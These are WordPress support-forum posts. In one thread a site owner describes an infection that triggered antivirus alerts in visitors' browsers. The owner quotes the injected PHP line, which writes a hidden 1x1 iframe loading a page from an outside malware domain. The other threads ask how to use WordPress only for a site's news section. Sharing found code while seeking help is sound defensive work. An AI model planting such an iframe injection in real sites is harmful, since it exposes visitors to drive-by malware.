In reply to: wordpress installing spyware?!I just noticed several other sites having the same issue.
one of those sites is

In reply to: wordpress installing spyware?!From the very beginning when I first entered my site I was greeted by a blank white page with the above quoted error (ajax). I also got numerous of popups in the bottom right corner by my comp/anti-virus stating a virus has been deleted from my computer, the moment I entered the site. [[https://img187.imageshack.us/img187/4590/viruaj9.jpg]] Since this popup never appeared during browsing of other sites, I assumed something must be wrong with MY site. Since I, in addition was getting the ajax error, I assumed it was a wordpress plugin problem, deleted the ajax folder through my FTP (since I couldn’t access my site/wordpress blog by using a browser) After deleting the plugin I was still having problems, and my site was still trying to install that virus on my computer.
So I proceeded, deleting ALL plugins. No change. I did a search on the forum and saw people had had some similar problems, so I skimmed through a few wordpress files, like recommended previously in other threads, such as the themes and index file, and sure, I saw some malicious coding had been inserted in those files, I have NO idea how it got there. The unfamiliar code looks like this:
<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
I still suspect is has SOMETHING to do with the plugins, I don’t know WHICH plugin since I recently, a couple of weeks ago, installed about 10 or 15 new plugins.
I was frustrated, feeling stressed, and deleted the complete wordpress folder, thought ‘problem solved’. I was wrong. After deleting my wordpress folder, I was STILL gettin the darn warning/notice about a virus being blocked. Meaning my site is still infected. So I deleted my XMB forum. Or any script I thought could be causing the virus. Now I try to use as few scripts as possible because I know there is always a security risk. After deleting both wordpress and xmb, I was still getting the virus warning. I use a script called “Skinner”, I’ve used it for years and never experienced problems with it before, but now, skimming through some Skinner files, I see that darn code again! It’s all over the place! So I delete the files, uploaded the original files … and that’s where I am standing right now. I still get the virus warning … so I need to delete my site and upload fresh files.
What the HECK is going on?!
In the future, how can I locate the source instead of just deleting the whole script? How can I know which plugins are safe and which arent? How the heck could someone insert code in my files?! I really don’t understand this.
UPDATE: looks like the ugly coding has been added to ALL my pages, even the ones that aren’t related to any scripts! I use regular HTML and some php, to include a header and footer. This is queer. Okay so now I know how to get rid of it, but I want to know how it got there in the first place.

In reply to: wordpress installing spyware?!From WP? Can you read?
No, I’m having my mum writing this post for me.
You don’t have to be rude.
I dunno if this is relevant but some weeks ago I installed a LOT of plugins (10-15 plugins). It may be those?
I deleted the whole wordpress folder but I am still getting the error. I’m really confused

In reply to: Not a complete blog, just entriesHey, chill, if you actually read my post you can see that I said “I THINK” … I am not arguing, I am merely trying to find samples of what I’d like to achieve.
I think the site uses wordpress for the updates
I think the site uses wordpress for the updates, but everything else, all other pages, are just regular html/php coded, no wordpress involved.
I never said it hadnt wordpress uploaded to the root. I just said that the other pages, such as multimedia, site etc, are regular html/php. And they still seem to be …
Yes, of course, the site also has physical files (like multimedia.php > https://livtyler-online.com/multimedia.php) in the same root directory where WP is installed.
Basicly all pages have such URLs (multimedia.php, filmography.php, movie-lonesome.php etc) and that was why I thought the site didn’t use wordpress for anything other than the updates. Another reason why I thought the site wasnt completely wordpressized was that the site had “header.inc” and “footer.inc” in the root, which wordpress hasnt.

In reply to: Not a complete blog, just entriesSorry I know I am confusing, I am having a hard time expressing my thoughts.
So basicly, I do already have a site, with various sections. News/Updates, About, Media, Gallery, Site. Right. And I’m currently using cutenews but as it’s not working correctly, I wanted to ditch it and use wordpress instead. I already have all the other pages set up, coded, the “regular” pages such as About, media, gallery, site etc. The index.php page includes the cutenews articles/entries … So now I want to replace the index.php file that includes the cutenews entries, so that it will include wordpress entries instead.
I do not want to use wordpress for my entire site, but just for my news/entries/updates that will appear on the index.php page. Nowhere else.
Let’s say you want to use WP in the “background” just to update the “news” sections of your existing site.
Yes, that’s what I want.
It can be done, and you already found info about it (RSS feeeds etc.)
I’ve no idea what RSS feeds is. :/ I have to read more about it, since it seems to be crucial.
This site https://livtyler-online.com seems to be a good example for what I’ve described. I think the site uses wordpress for the updates, but everything else, all other pages, are just regular html/php coded, no wordpress involved.
I hope this makes sense ??

In reply to: Not a complete blog, just entriesOK, so I will try doing this. I just need to read some more about themes.
If I do this, do I have to upload wordpress to the root dir? I’m not sure what you meant, if I should or should not have it in a subdir …
Cause right now I have it in a separate dir, called “wordpress”. Maybe I need to move it to the root instead?
Forum: Everything else WordPress
In reply to: Not a complete blog, just entriesSo it’s not possible doing?
On the contrary: those sites are made with WP and they have a custome theme.
Are you sure? It seems to be so complicated. What if I don’t want my complete site in wordpress. Can I make a theme that looks like the main page, and keep my header.inc, footer.inc etc coding for the rest of the pages, like “about, games, affiliates, info” etc? Does this make any sense?
